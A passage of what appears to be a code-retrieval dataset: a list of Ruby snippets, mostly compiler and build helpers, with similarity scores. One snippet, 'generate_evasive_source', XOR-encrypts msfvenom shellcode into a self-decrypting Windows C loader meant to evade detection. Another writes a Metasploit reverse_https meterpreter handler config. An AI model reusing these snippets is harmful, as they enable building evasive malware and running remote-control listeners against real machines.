#{path}.\")\n\t\tend\n\t\t$stderr.puts yellow(\"Compiler output for #{path}:\")\n\t\t$stderr.puts compilerMessages\n\tend\n\n\tcompilerOutput.close\n\tcompilerOutput.unlink\n\n\tunless File.exists?(binaryPath)\n\t\tcleanup\n\t\texit 1\n\tend\n\n\treturn binaryPath\nend", "def compile\n end", "def compile_project\n debug_msg \" compiling #{@project_name}\"\n system(HHC_PATH, @project_name)\n end", "def mkci bc, ctx\n CodeInterpreter.new bc, ctx\nend", "def compile(script, filename=nil, linenum=nil, global=nil)\n filename ||= 'none'\n linenum ||= 1\n native_compile(script, filename, linenum, global)\n end", "def compile obj, src\n sh \"gcc #{$C_FLAGS.join ' '} -c #{src} -o #{obj}\"\nend", "def _inter source\n c = compile source\n cifrom c\nend", "def compile(path)\n files = getFilesInDirCompiler(path)\n filesWithLines = getFilesWithLinesCompiler(files)\n classNames = getClassNames(filesWithLines)\n functionInfo = getFunctionNameTypesFiles(filesWithLines)\n compilerInfo = [classNames, functionInfo]\n\n for i in 0..filesWithLines.size-1\n fSize = filesWithLines[i][0].size\n\n #renaming the\n compiledFileName = filesWithLines[i][0][0, fSize-5]+\".vm\"\n compiledFileXMLName = filesWithLines[i][0][0, fSize-5]+\"Out.xml\"\n tokensFileName = filesWithLines[i][0][0, fSize-5]+\"TOut.xml\"\n lines = filesWithLines[i][1]\n lines = getLines(lines)\n tokens = tokenize(lines)\n\n writeCompiledFile(tokens, compilerInfo, compiledFileName)\n writeCompiledXMLFile(tokens, classNames, compiledFileXMLName)\n writeTokensXMLFile(tokens, tokensFileName)\n puts filesWithLines[i][0] + \" was tokenized and compiled\" +\"\\n\"\n end\nend", "def compile box, source, output, options = {}\n result = {}\n box.tmpfile([source_filename, self.extension]) do |source_file|\n box.fopen(source_file, 'w') { |f| f.write(source) }\n result['command'] = self.compile_command(:source => source_file, :output => output)\n result.merge!(Hash[%w[output log box meta stat].zip(box.capture5(\"/bin/bash -c #{result['command'].shellescape}\", options.reverse_merge(:processes => true)))])\n result['stat'] = result['stat'].exitstatus\n end\n return result\n end", "def generate_evasive_source(evasion_stack)\n source = \"tmp/bin\"+self.uuid+\".c\"\n specified_techniques = evasion_stack.split(\";\")\n\n # Create EvasionTechnique objects for each specified technique.\n techniques = Array.new(specified_techniques.count)\n specified_techniques.each_index do |i|\n techniques[i] = EvasionTechnique.new(specified_techniques[i])\n end\n\n\n\n # Initialize initial program stub on on which to build the generated source.\n stub_impl = \"\n void translate(char* k){\n dbuf = malloc(BUFFER_LENGTH);\n\n int i, n;\n i = 0; n = 0;\n\n for(i = 0; i < BUFFER_LENGTH; i++)\n dbuf[i] = buf[i];\n\n for(n = 0; n < strlen(k); n++){\n for(i = 0; i < BUFFER_LENGTH; i++){\n dbuf[i] = dbuf[i] ^ k[(n+k[n]+i) % strlen(k)];\n }\n }\n }\n\n void run(){\n int (*func)();\n func = (int (*)()) dbuf;\n (int)(*func)();\n free(dbuf);\n }\n\n \"\n\n # Initialize program component lists/queues/stacks\n includes_list = [\"stdio.h\", \"stdlib.h\", \"string.h\", \"Windows.h\"]\n dyn_definitions = []\n # Queue of code execution prefix stubs\n dyn_exec_prefixes = ['int main(int argc, char** argv){\n HANDLE t_file;\n DWORD t_temporary;\n\n LPCVOID t_content = \"Status: tag log created\";\n\n t_file = CreateFile(\"C:/Documents and Settings/honey/My Documents/ids_taglog.txt\", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\n WriteFile(t_file, t_content, strlen((const char*) t_content), &t_temporary, NULL);\n ']\n dyn_exec =\n ' \n translate(ivk);\n run();\n '\n # Stack of code execution postfix stubs\n dyn_exec_postfixes = [\" }\"]\n\n # Populate program component lists/queues/stacks\n techniques.each do |t|\n t.includes().each do |i|\n if includes_list.include?(i) == false\n includes_list.concat([i])\n end\n end\n dyn_definitions.concat([t.definitions()])\n dyn_exec_prefixes.concat([t.exec_prefix()])\n dyn_exec_postfixes.unshift t.exec_postfix()\n end\n\n # Flesh out program stub using the populated program components.\n includes = \"\"\n includes_list.each do |i|\n includes << '#include <'+i+ \">\\n\"\n end\n includes << \"\\n\"\n\n dyn_definitions.each do |d|\n stub_impl << d\n end\n stub_impl << \"\\n\"\n\n dyn_exec_prefixes.each do |p|\n stub_impl << p\n end\n stub_impl << \"\\n\"\n\n stub_impl << dyn_exec\n dyn_exec_postfixes.each do |p|\n stub_impl << p\n end\n stub_impl << \"\\n\"\n\n # Copy and parse hex dump from msfvenom-generated C file\n buf_found = false\n hex_string = \"\"\n\n file = File.open(source, \"r\")\n\n file.each do |line|\n # Dump will start with 'unsigned char buf[] ='\n if not buf_found\n if line.index(\"unsigned char buf[]\") == 0\n buf_found = true\n end\n else\n # Strip quotes, newlines, etc\n line.delete! '\"'\n line.delete! '\\n'\n line.delete! \"\\n\"\n line.delete! '\\\\'\n line.delete! 'x'\n # Stop once a semicolon is reached\n if line.index(\";\") != nil\n line.delete! ';'\n hex_string += line\n break\n else\n hex_string += line\n end\n end\n end\n\n file.close\n\n # Convert to binary string\n payload_code = hex_to_bin(hex_string)\n\n # Generate random string to use as the key\n key = rand(36**rand(10...25)).to_s(36)\n\n # Encrypt binary string with key\n encrypted_code = cipher(payload_code.bytes.to_a, key.bytes.to_a)\n encrypted_code_hex = bin_to_hex(encrypted_code.pack(\"c*\"))\n\n # Format C String\n encrypted_code_hex = encrypted_code_hex.gsub(/(.{2})/, '\\\\x\\1')\n # Split formatted C String into lines.\n lines = encrypted_code_hex.scan(/.{1,#{60}}/)\n\n # Write evasive source to file\n file = File.open(\"tmp/evasive\"+self.uuid+\".c\", 'w')\n \n file.puts includes\n file.puts '#define BUFFER_LENGTH '+\"#{encrypted_code.count}\"\n file.puts \"unsigned char ivk[] = \\\"\"+key+\"\\\";\"\n file.puts \"unsigned char buf[] = \"\n lines.each_index do |i|\n if i < lines.count - 1\n file.puts '\"'+lines[i]+'\"'\n else\n file.puts '\"'+lines[i]+'\";'\n end\n end\n file.puts \"unsigned char* dbuf;\";\n file.puts stub_impl\n \n file.close\n\n print_status(\"Evasive source successfully generated.\")\n\n end", "def gci source\n cifrom(compile(source))\nend", "def tex_compile(file)\r\n\tprint File.basename(Dir.pwd) + '/' + file\r\n\t`platex -kanji=\"sjis\" #{file}.tex`\r\n\tprint \".\"\r\n\t`#{$bibtex} #{file}`\r\n\tprint \".\"\r\n\r\n\t# some system needs three times compiles.\r\n\t3.times do\r\n\t\t`platex -kanji=\"sjis\" #{file}.tex`\r\n\t\tprint \".\"\r\n\tend\r\n\r\n\t`dvipdfmx #{file}.dvi > #{$dev_null} 2>&1`\r\n\tputs \".\"\r\nend", "def compile\n read_yml if File.exists?(@project)\n\n default_options = {}\n other_options = {}\n\n @compile_options.each do |k,v| \n if /default/.match(k)\n default_options[k] = v\n else\n other_options[k] = v\n end\n end\n\n command = \"#{@flex_sdk_bin}#{@compiler}\"\n other_options.each { |k,v| command += \" -#{k}=\\\"#{[v].flatten.join ','}\\\"\" }\n default_options.each { |k,v| command += \" -#{k}=\\\"#{[v].flatten.join ','}\\\"\" }\n command += \" #{@document_class}.as\"\n\n# puts command\n# TextMate.exit_show_html\n\n @command = command\n#TextMate.exit_show_html\n if process_output command\n# load_debugger\n display_web_player #unless ARGV[0] = \"--display\"\n# display_player\n end\nend", "def command\n log.debug self.pretty_inspect\n\n throw 'Invalid linker' unless @ld.is_a?(Linker)\n throw 'One or more source files are required' unless @sources.length > 0\n# cflags = default_flags\n# cflags.concat @flags\n# end\n# throw cflags\n\n# topdir = h[:topdir] || ''\n# ld = @ld\n# ldadd = h[:ldadd]\n# ld.flags = h[:ldflags]\n# ld.output = Platform.pathspec(h[:output])\n# ld.rpath = h[:rpath] if h[:rpath].length > 0\n\n# inputs = h[:sources]\n# inputs = [ inputs ] if inputs.is_a? String\n# inputs = inputs.map { |x| Platform.pathspec(topdir + x) }\n# throw 'One or more sources are required' unless inputs.count\n\n#TODO:if @combine\n# return [ @path, cflags, '-combine', ldflags, inputs, ldadd ].flatten.join(' ')\n#\n \n cmd = [ @path, '-DHAVE_CONFIG_H', '-I.', @platform_cflags, flags, '-c', @sources ].flatten.join(' ')\n\n cmd += Platform.dev_null if @quiet\n\n log.debug \"Compiler command: #{cmd}\"\n\n cmd\n end", "def compile\n min = [@x.length, @y.length].min\n IO::File.open(@filename, 'w') do |f|\n min.times { |i| f.puts sprintf(\"%e\", @x[i]) + ' ' + sprintf(\"%e\", @y[i]) }\n end\n \"\\\"\" + @filename + \"\\\" \" + compile_options + \";\"\n end", "def compile(file, options = {})\n return unless write?\n # Any options passed in from an interface will be passed to the compiler and to\n # the templates being compiled\n options[:initial_options] = options\n Origen.file_handler.preserve_state do\n begin\n file = Origen.file_handler.clean_path_to_template(file)\n Origen.generator.compile_file_or_directory(file, options)\n rescue\n file = Origen.file_handler.clean_path_to(file)\n Origen.generator.compile_file_or_directory(file, options)\n end\n end\n end", "def compile(name)\n Rule::Compile.build(file(name))\n end", "def compile(script, filename=nil, linenum=nil)\n delegate.compile(script, filename, linenum)\n end", "def run(file, cmd, *args)\n env = Environment.load(source: file)\n exec env, cmd, *args\n end", "def pre_compile(main_file, settings)\n\tFile.read(main_file)\nend", "def compileSourceOfTarget(target)\n\t\tincstr = @includesString\t\n\t\tsrc_file = targetToSource(target)\n\t\ttarget_ext = File.extname target\n\t\tsource_ext = File.extname src_file\n\t\tartifacts = [target]\n\t\tdebug \"COMP: Target: \\'#{target}\\'\"\n\t\t#debug \"COMP: Source: \\'#{src_file}\\'\"\n\t\t#expected artifacts\n\t\tif (target_ext == '.cmx') \n\t\t\tartifacts.push(changeExt(target, '.o'))\n\t\tend\n\t\tif (source_ext == '.ml')\n\t\t\tunless(File.exist?(changeExt(target, '.mli')))\n\t\t\t\tartifacts.push(changeExt(target, '.cmi'))\n\t\t\tend\n\t\tend\n\n\t\tcase @compiler\n\t\t\twhen @@byteCodeCompiler \n\t\t\t\tcmd = \"ocamlfind ocamlc -g -c \"\n\t\t\t\tcmd += \"-package #{@libsStr} \" unless(@libsStr == \"\") \n\t\t\t\tcmd += \"#{incstr} #{src_file}\"\n\t\t\twhen @@machineCodeCompiler\n\t\t\t\tcmd = \"ocamlfind ocamlopt -c \"\n\t\t\t\tcmd += \"-p \" if (@profilingEnabled)\n\t\t\t\tcmd += \"-package #{@libsStr} \" unless(@libsStr == \"\") \n\t\t\t\tcmd += \"#{incstr} #{src_file}\"\n\t\t\telse \n\t\t\t\tputs \"ERROR couldn't compile to file: \" + target\n\t\tend\n\t\tdebug cmd\n\t\t`#{cmd}`\n\t\tif($? == 0) #the compiler had no error\n\t\t\tartifacts.each do |artfile|\n\t\t\t\t#debug \"compiler ran\"\n\t\t\t\tbuilddest = toBuildDirFile(artfile)\n\t\t\t\t#debug \"\\t builddirtarget: \" + builddest\n\t\t\t\t#debug \"\\t target: \" + artfile \n\t\t\t\t#if(not File.exists?(artfile)) then exit end\n\t\t\t\tunless (artfile == builddest)\n\t\t\t\t\tFile.rename(artfile, builddest)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "def from_file(fn, code_type = nil)\n if fn == Pry.eval_path\n f = Pry.line_buffer.drop(1)\n else\n if File.readable?(fn)\n f = File.open(fn, 'r')\n code_type = type_from_filename(fn)\n else\n raise MethodSource::SourceNotFoundError, \"Cannot open #{fn.inspect} for reading.\"\n end\n end\n new(f, 1, code_type || :ruby)\n ensure\n f.close if f.respond_to?(:close)\n end", "def c_raw src, options = {}\n self.generate src, options\n end", "def compile_exec()\n compile\n exec\n end", "def compile\n Tipsy::Runners::Compiler.new(@args, @site)\n end", "def run(content, params = {})\n # Add filename to load path\n Uglifier.new(params).compile(content)\n end", "def initialize(file_name, **kvargs)\r\n @path = 'spec/workspace/import-test'\r\n \r\n # Strip off file extension if it exists.\r\n file = file_name.gsub /\\.axs$/, ''\r\n \r\n # Create the full source file path.\r\n @source_file = \"#{File.expand_path file, @path}.axs\"\r\n \r\n # Create the full compiled file paths.\r\n @compiled_files = ['.tko', '.tkn']\r\n .map {|extension| @source_file.gsub(/\\.axs$/, extension)}\r\n end", "def run(files)\n files = files.reject { |file| file.end_with? '.h' }\n filenames = files.map { |file| File.basename(file) }\n puts \"Compiling #{filenames * ' '}...\"\n Dir.mktmpdir('rucppy') do |dir|\n compile_command = \"g++ -std=c++11 #{files * ' '} -o #{dir}/a.out\"\n # puts compile_command\n `#{compile_command}`\n system(\"#{dir}/a.out\")\n end\nend", "def program\n ptr = FFI::MemoryPointer::new( Program )\n error = OpenCL.clGetKernelInfo(self, PROGRAM, Program.size, ptr, nil)\n error_check(error)\n return Program::new(ptr.read_pointer)\n end", "def get_compile_line(input, output)\n\n\tlibs_path = LIBRARY_PATH.map{ |lib| \"-library-path+='#{File.join(current_path, lib)}'\"}.join(\" \")\n\tsources_path = SOURCE_PATH.map{ |lib| \"-sp+='#{File.join(current_path, lib)}'\"}.join(\" \")\n\n\tline = \"mxmlc #{File.join(current_path(), input)} -o=#{File.join(current_path(), output)} -debug=#{DEBUG} #{libs_path} #{sources_path} #{EXTRA}\"\nend", "def compile\n Dir.chdir(build_path) do\n do_compile\n end\n end", "def prepare\n opts = {}.update(self.class.options).update(options).update(file: eval_file)\n metadata[:mime_type] = opts.delete(:mime_type)\n if opts.include?(:outvar)\n opts[:buffer] = opts.delete(:outvar)\n opts[:save_buffer] = true\n end\n @src = self.class.compile(data, opts)\n end", "def build_bitmap(file)\n return puts 'Please provide correct file' if file.nil? || !File.exist?(file)\n\n app = App.new\n\n File.open(file).each do |line|\n line = line.chomp\n bitmap_mapper = app.mapper\n bitmap_mapper.map(line).execute(app)\n end\n end", "def compile(script, filename=nil, linenum=nil)\n filename ||= 'none'\n linenum ||= 1\n @compiled_scripts[filename] = native_compile(script, filename, linenum)\n end", "def compile(files, file)\n\n # setup the output buffer with the base file\n output_buffer = File.read(File.path(file))\n\n # loop through import files and substitute imports\n files.each do |key, import_file|\n output_buffer = import(output_buffer, key, import_file)\n end\n\n File.open(output_filename(file), 'w') do |file|\n file.write(output_buffer)\n end\n end", "def init_with_program(prog); end", "def create!(path, args)\n return usage if /\\?/ =~ path || /--help/ =~ path\n main_file = File.basename(path, '.rb') # allow uneeded extension input\n # Check to make sure that the main file doesn't exist already\n already_exist(path)\n @name = StringExtra.new(main_file).camelize\n writer = SketchWriter.new(main_file)\n @title = StringExtra.new(main_file).titleize\n @width, @height = args[0], args[1]\n @mode = args[2].upcase unless args[2].nil?\n template = @mode.nil? ? emacs_template : emacs_template_mode\n writer.save(template)\n end", "def create!(path, args)\n return usage if /\\?/ =~ path || /--help/ =~ path\n main_file = File.basename(path, '.rb') # allow uneeded extension input\n # Check to make sure that the main file doesn't exist already\n already_exist(path)\n @name = StringExtra.new(main_file).camelize\n writer = SketchWriter.new(main_file)\n @title = StringExtra.new(main_file).titleize\n @width, @height = args[0], args[1]\n @mode = args[2].upcase unless args[2].nil?\n template = @mode.nil? ? class_template : class_template_mode\n writer.save(template)\n end", "def compile(arg, is_file, op, level, type)\n self.op = op.blank? ? DEFAULT_SERVICE : op\n self.level = level.blank? ? DEFAULT_LEVEL : level\n self.format_type = type.blank? ? DEFAULT_TYPE : type\n self.file = \"\"\n value = true\n\n begin\n if is_file\n js_code = read_file(arg)\n self.file = arg\n else\n js_code = arg\n end\n resp, data = post_to_cc(create_json_request(js_code))\n\n if $debug\n puts \"#DEBUG data \\n\"\n p data\n puts \"\\n\"\n end\n\n rescue StandardError => e\n return e\n end\n\n parse_json_output(data)\n end", "def generate_rc\n\tputs \"[*]\".green + \"\\tCreating msf resource file\"\n\topen(DEF_RC_FILE, 'w') { |f|\n\t\tf.puts \"use exploit/multi/handler\"\n\t\tf.puts \"set PAYLOAD windows/meterpreter/reverse_https\"\n\t\tf.puts \"set EXITFUNC thread\"\n\t\tf.puts \"set LPORT #{$port}\"\n\t\tf.puts \"set LHOST #{DEF_INT_IP}\"\n\t\tf.puts \"set ExitOnSession false\"\n\t\tf.puts \"exploit -j -z\"\n\t}\nend", "def debug_in_temp_file(program)\n example_file.write(program)\n example_file.close\n\n load(example_path)\n end", "def source(file, context)\n File.read(file, file_read_opts(context))\n end", "def compileFortran(params)\n\t\tsrc = requireParam(params, :src)\n\t\ttarget = requireParam(params, :target)\n\t\totherOptions = params[:opts] || []\n\t\t\n\t\tprintAndCall(\"#{compileCmd(src)} #{otherOptions.join(' ')} #{@INCDIRS.map {|dirpath| \"-I#{dirpath}\"}.join(' ')} -o #{target} -c #{src}\")\n\tend", "def manifest_file_create_command(id, manifest_src)\n disk.file_create_command(manifest_filename(id), manifest_src)\n end", "def compile(source_name, py_file, pyc_file = nil)\n pyc_file ||= py_file\n\n source_name =~ /\\.py$/ or raise\n base = $`\n pyofile = base + '.pyo'\n\n cp(py_file, source_name)\n command = format('python2.2 -OO -c \\'%s\\'',\n format('import py_compile; py_compile.compile(\"%s\")', source_name))\n sh(command)\n rm(source_name)\n\n # Not sure if .pyo files are recognized,\n # so let's rename as .pyc.\n mv(pyofile, pyc_file)\n end", "def compile_main(exp)\n @e.main(exp.position.filename) do\n # We should allow arguments to main\n # so argc and argv get defined, but\n # that is for later.\n @global_scope = GlobalScope.new(@vtableoffsets)\n compile_eval_arg(@global_scope, exp)\n end\n end", "def compile(script, options = {})\n script = script.read if script.respond_to?(:read)\n error, data = Source.context.call('compile', script)\n\n if error\n raise ParseError, error['message']\n else\n data\n end\n end", "def run(options)\n if @command\n finalize_command_with_depfile\n else\n if @sources.find {|s| s.end_with?(*@env.expand_varref(\"${CXXSUFFIX}\", @vars))}\n pp_cc = \"${CXX}\"\n depgen = \"${CXXDEPGEN}\"\n else\n pp_cc = \"${CC}\"\n depgen = \"${CCDEPGEN}\"\n end\n @vars[\"_PREPROCESS_CC\"] = pp_cc\n @vars[\"_PREPROCESS_DEPGEN\"] = depgen\n @vars[\"_TARGET\"] = @target\n @vars[\"_SOURCES\"] = @sources\n @vars[\"_DEPFILE\"] = \"#{target}#{env.expand_varref(\"${DEPFILESUFFIX}\", vars)}\"\n command = @env.build_command(\"${CPP_CMD}\", @vars)\n self.produces(@vars[\"_DEPFILE\"])\n standard_command(\"Preprocessing <source>#{Util.short_format_paths(@sources)}<reset> => <target>#{@target}<reset>\", command)\n end\n end", "def build(rb_file)\n# Clean up the build directory\n FileUtils.rm_rf 'tmp'\n\n # Check if source file provided is good\n if !rb_file\n puts 'Please provide a Ruby file to build'\n exit\n elsif !File.exists? \"/src/#{rb_file}\"\n puts \"Can't find file: #{rb_file}\"\n exit\n end\n\n # Create the build directory\n FileUtils.mkdir_p 'tmp'\n\n # Create MRuby bytecode from Ruby source file\n `mrbc -Bruby_app -otmp/app.c /src/#{rb_file}`\n\n `cat tmp/app.c`\n # Add MRuby init code to app bytecode\n open('tmp/app.c', 'a') do |f|\n f << \"\\n\\n\" << File.read(\"/build/utils/assets/mruby_init.c\")\n end\n\n # Compile using Emscripten\n `emcc -s WASM=1 #{ if @optimize then '-Os' end } -I '/build/mruby/include' tmp/app.c /build/mruby/build/emscripten/lib/libmruby.a -o app.js #{ if @optimize then '--closure 1' end }`\n\n # Clean up\n FileUtils.rm_rf 'tmp'\nend", "def build_program\n assert_ready_to_build\n\n result = build_header + build_struct_types + build_header_structs + \n build_array_command_struct_types + build_environment_struct + \n build_kernels + host_section_source\n\n # Build program entry point\n return result + Translator.read_file(file_name: \"host_section_entry_point.cpp\", replacements: {\n \"prepare_environment\" => environment_builder.build_environment_variable,\n \"host_env_var_name\" => Constants::ENV_HOST_IDENTIFIER,\n \"host_result_array\" => host_result_expression})\n end", "def create_from_file( file_name )\n vcg = ValidationCheckerGenerator.new\n vcg.generate( LDLgeneratedLanguage::Language_gds_check.parse( File.read( file_name ) ) )\n end" ]
[ "0.65367967", "0.6505419", "0.63124365", "0.6304905", "0.6125393", "0.6015751", "0.59490794", "0.59259504", "0.590439", "0.5820284", "0.5788388", "0.5764231", "0.5763001", "0.56604654", "0.5652333", "0.56488615", "0.5647147", "0.56413776", "0.56231606", "0.56026995", "0.5599071", "0.5556618", "0.55233014", "0.5460072", "0.5448972", "0.5444304", "0.5441435", "0.54143363", "0.5413421", "0.54067004", "0.5383356", "0.53572696", "0.5338336", "0.5335879", "0.5334999", "0.5333683", "0.5331136", "0.53299326", "0.5327776", "0.5320216", "0.52895343", "0.5284182", "0.52775764", "0.52709484", "0.52637035", "0.5260879", "0.52332294", "0.5217137", "0.51881903", "0.51862067", "0.5179254", "0.51776904", "0.51712775", "0.5170922", "0.5145612", "0.51446414", "0.51435494", "0.5129912", "0.5122495", "0.5116465", "0.51148206", "0.51123524", "0.5101152", "0.5096671", "0.50933576", "0.5093234", "0.50881356", "0.50821865", "0.5081907", "0.5080993", "0.5077464", "0.5067442", "0.5065692", "0.5059477", "0.50576395", "0.50511587", "0.5048997", "0.50460565", "0.50459874", "0.5038085", "0.50373626", "0.50369275", "0.5018607", "0.50167954", "0.5016194", "0.50142187", "0.5008371", "0.50046474", "0.4999373", "0.4999176", "0.49987966", "0.4996016", "0.49922383", "0.4986273", "0.49844217", "0.4957813", "0.495379", "0.49500197", "0.49470896", "0.49469092" ]
0.7472702
0
drops and recreates the repository upwards to match model definitions
def auto_migrate!(repository_name = nil) auto_migrate_down!(repository_name) auto_migrate_up!(repository_name) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def cleanup\n @models.reverse_each(&:destroy_all)\n end", "def wipe!\n resource_factory.orm_class.delete_all\n end", "def recreate\n drop if exists?\n create\n end", "def auto_migrate_down!(repository_name = self.repository_name)\n assert_valid\n if base_model == self\n repository(repository_name).destroy_model_storage(self)\n else\n base_model.auto_migrate_down!(repository_name)\n end\n end", "def rollback\n @repo.rollback\n end", "def undo\n\t\t@space.entities.delete @clone\n\t\t\n\t\t@already_added = false\n\tend", "def reset\n puts \"Number of statements in the repository: \" + @repository.size.to_s\n puts \"Resetting Sesame...\"\n @repository.delete_all_statements!\n puts \"Number of statements in the repository: \" + @repository.size.to_s\n end", "def teardown\n super\n delete_goo_models(LinkedData::Models::Review.all)\n delete_goo_models(LinkedData::Models::Ontology.all)\n delete_goo_models(LinkedData::Models::User.all)\n @review_params = nil\n @user = nil\n @ont = nil\n end", "def flush_db\n [ 'active_sources', 'data_records', 'semantic_properties', 'semantic_relations', 'workflows'].reverse.each { |f| ActiveRecord::Base.connection.execute \"DELETE FROM #{f}\" }\n # Also remove the \"unsaved cache\" for the wrappers (may be important during testing)\n TaliaCore::SemanticCollectionWrapper.instance_variable_set(:'@unsaved_source_cache', {})\n end", "def full_reset\n flush_db\n flush_rdf\n clear_data\n setup_ontologies\n end", "def reinitialize_db\n drop_db\n initialize_db\n end", "def discard_repo\n @handler.discard\n end", "def naked\n clone.set_model(nil)\n end", "def reset\n @git = nil\n @configuration = nil\n end", "def teardown\n delete_goo_models(LinkedData::Models::Project.all)\n delete_goo_models(LinkedData::Models::Ontology.all)\n delete_goo_models(LinkedData::Models::User.all)\n @projectParams = nil\n @user = nil\n @ont = nil\n @p = nil\n end", "def restore\r\n self.update(deleted: false)\r\n end", "def destroy\n @dirs_created.each { |d| FileUtils.rm_rf(d) }\n self.class.repositories.delete(@name)\n end", "def recreate!\n delete! rescue nil\n create!\n end", "def remove\n working_repo.remove tree\n end", "def reset_db\n \n end", "def down\n \t# Example\n \t# Easy to undo something you create, but this doesn't work\n \t# because it is hard to fix mistakes.\n \t# drop_table :pictures\n end", "def rebuild\n @logger.debug('rebuild()')\n self.destroy\n self.up\n end", "def ensure_empty_repository!\n path = repository_path(:empty)\n FileUtils.rm_rf(path)\n DbAgile::Core::Repository::create!(path)\n path\n end", "def rollback\n objects.clear\n load\n finish_transaction\n end", "def reset!\n all.map { |repository| repository.send(:reset) }\n\n true\n end", "def reset\n update_attributes(year_of_study: nil,\n faculty_id: nil,\n department_id: nil,\n course_id: nil)\n\n self.uni_modules.each do |uni_module|\n unsave_module(uni_module)\n end\n\n self.pathways.each do |pathway|\n self.pathways.delete(pathway)\n end\n end", "def discard\n # First, add all files to the index. (Otherwise, we won't discard new\n # files.) Then, hard reset to revert to the last saved state.\n @git.index.add_all\n @git.index.write\n @git.reset('HEAD', :hard)\n end", "def destroy\n FileUtils.rm_r(@repository.path)\n end", "def discard\n Dir.chdir @root do\n # First, add all files to the index. (Otherwise, we won't discard new\n # files.) Then, hard reset to revert to the last saved state.\n cmd = \"git add --all && git reset --hard\"\n stdout, stderr, status = Open3.capture3 cmd\n if status != 0\n case stderr\n when /Not a git repository/\n raise NotARepositoryError\n else\n raise Error, stderr\n end\n end\n end\n end", "def reset!\n storage.map(&:repository).map { |repository| repository.send(:reset) }\n\n true\n end", "def rollback!\n restore_attributes\n end", "def clean_database\n [Entry, Room, User].each do |model|\n model.delete_all\n end\nend", "def reset!\n repo.reset('origin/master', :hard)\n end", "def setup\n #@nuclear_power_plant = Company.new(:name => 'Springfield Nuclear Power Plant')\n #@nuclear_power_plant.save\n Company.delete_all\n end", "def clear_model\n @panel.remove_all\n @connections.clear\n @entities.clear\n end", "def pull\n check_dependencies('mysqldump', 'mysql', '/bin/sh')\n target = parse_db_location(args.shift || 'development')\n\n display \"This will erase all data in the #{target['database'].inspect} database\" +\n (target['host'].empty? ? '' : \" on #{target['host']}\") + \"!\"\n exit unless dangerous_prompt\n\n copy_db_to_db(database_uri, target)\n end", "def clean\n\t\t\n\t\t@db.del 'twitter'\n\t\t@db.del 'rpg'\n\t\n\tend", "def teardown\n if File.exist?(modelPath())\n FileUtils.rm(modelPath())\n end\n if File.exist?(reportPath())\n FileUtils.rm(reportPath())\n end \n end", "def deleteRepositoryObject(path)\n begin\n File.delete(path+\".obj\")\n rescue DefaultException => e\n puts \"Failed to delete repository object : #{path}\"\n end\n end", "def clear\n @db.clear\n self\n end", "def db_clear\n [Project, Milestone, Category, Version, LoaderRelease].each(&:delete_all)\n end", "def clean_up\n end", "def clean_up\n end", "def clean!\n @changes = []\n end", "def unlink\n self.transaction do\n self.class.factory.model.connection.execute <<-SQL\n ALTER TABLE #{name} NO INHERIT #{self.class.factory.model.table_name};\n ALTER TABLE #{name} RENAME TO #{name}_unlinked;\n SQL\n self.destroy\n end\n end", "def roomer_reset\n roomer_set_table_name_prefix\n roomer_reset_table_name\n reset_column_information\n reset_associations\n end", "def db_clear\n [Project, Milestone, Category, Version, LoaderRelease].each {|x| x.delete_all}\n end", "def reset_repo(&block)\n yield\n=begin\n Dir.chdir(@saved_cwd){\n system 'rm', '-rf', repo4test\n if !File.directory?(repo4test)\n repo = File.join(repo4test, Juli::REPO)\n FileUtils.mkdir_p(repo)\n FileUtils.cp(File.join(repo4test, '../data/config'), repo,\n :preserve=>true)\n end\n Dir.chdir(repo4test){\n yield\n }\n }\n=end\n end", "def rollback()\n #This is a stub, used for indexing\n end", "def rollback\n without_transactions do\n repository.transactions_log.delete_if do |(method, options)|\n\n begin\n case method\n when :ingest\n repository.purge_object :pid => options[:pid]\n\n when :modify_object\n repository.modify_object options\n\n when :add_datastream\n repository.purge_datastream :pid => options[:pid], :dsid => options[:dsid]\n\n when :add_relationship\n repository.purge_relationship options[:options].merge(:pid => options[:pid])\n\n when :purge_relationship\n repository.add_relationship options[:options].merge(:pid => options[:pid])\n\n when :purge_object\n repository.ingest :pid => options[:pid], :file => options[:foxml]\n\n when :set_datastream_options\n repository.set_datastream_options options\n\n when :modify_datastream\n repository.purge_object :pid => options[:pid] rescue nil\n repository.ingest :pid => options[:pid], :file => options[:foxml]\n\n when :purge_datastream\n repository.purge_object :pid => options[:pid] rescue nil\n repository.ingest :pid => options[:pid], :file => options[:foxml]\n end\n rescue\n # no-op\n end\n\n run_hook :after_rollback, :pid => options[:pid], :method => method, :options => options\n\n end\n end\n true\n end", "def destroy_model_storage(repository, model)\n raise NotImplementedError\n end", "def destroy\n dbf.destroy\n rescue MissingSource\n ensure\n freeze\n end", "def purge\n\n DataMapper.repository(@dm_repository) {\n\n DmExpression.all.each { |de| de.destroy }\n #\n # TODO : find simpler way to do that\n }\n end", "def clean()\n rels = releases()\n rels.pop()\n\n unless rels.empty?\n rm = ['rm', '-rf'].concat(rels.map {|r| release_dir(r)})\n rm << release_dir('skip-*')\n cmd.ssh(rm)\n end\n end", "def reset_dynamic_models!\n @@dynamic_models.clear\n end", "def reset\n tables = MODELS + [ENV['SCHEMA_TABLE']]\n tables.each { |t|\n DB << \"DROP TABLE IF EXISTS #{t.inspect};\"\n }\nend", "def restore!\n record = self.restore\n record.save!\n self.destroy\n return record\n end", "def teardown\n if @models.any?\n teardown_models\n teardown_namespaces\n ActiveSupport::Dependencies::Reference.clear! if ActiveRecord::VERSION::MAJOR < 7\n end\n end", "def truncate_db\n drop_table\n create_table\n end", "def destroy\n clear\n save\n end", "def restore!\n restore\n save!(validate: false)\n end", "def auto_migrate_up!(repository_name = self.repository_name)\n assert_valid\n if base_model == self\n repository(repository_name).create_model_storage(self)\n else\n base_model.auto_migrate_up!(repository_name)\n end\n end", "def undo!\n Namespace.root.executed_blueprints.delete self\n end", "def drop_db\n Mongoid.purge!\n end", "def restore\n end", "def restore; end", "def recreate()\n merge(recreate: 'true')\n end", "def nuke\n self.open_graph_event.destroy unless self.open_graph_event.nil?\n self.teamsheet_entries.destroy_all\n self.messages.destroy_all\n self.activity_items.destroy_all\n self.result.destroy unless self.result.nil?\n self.destroy\n end", "def clean_db(prev_versions)\nputs \"CLEAN DB CALLED\"\n if Version.count > prev_versions\n to_remove = Version.count - prev_versions\n puts \"Removing #{to_remove} old versions from database\"\n Version.all(:limit => to_remove, :order => [ :processed.asc ]).each do |old_version|\n old_version.units.all.each do |old_unit|\n 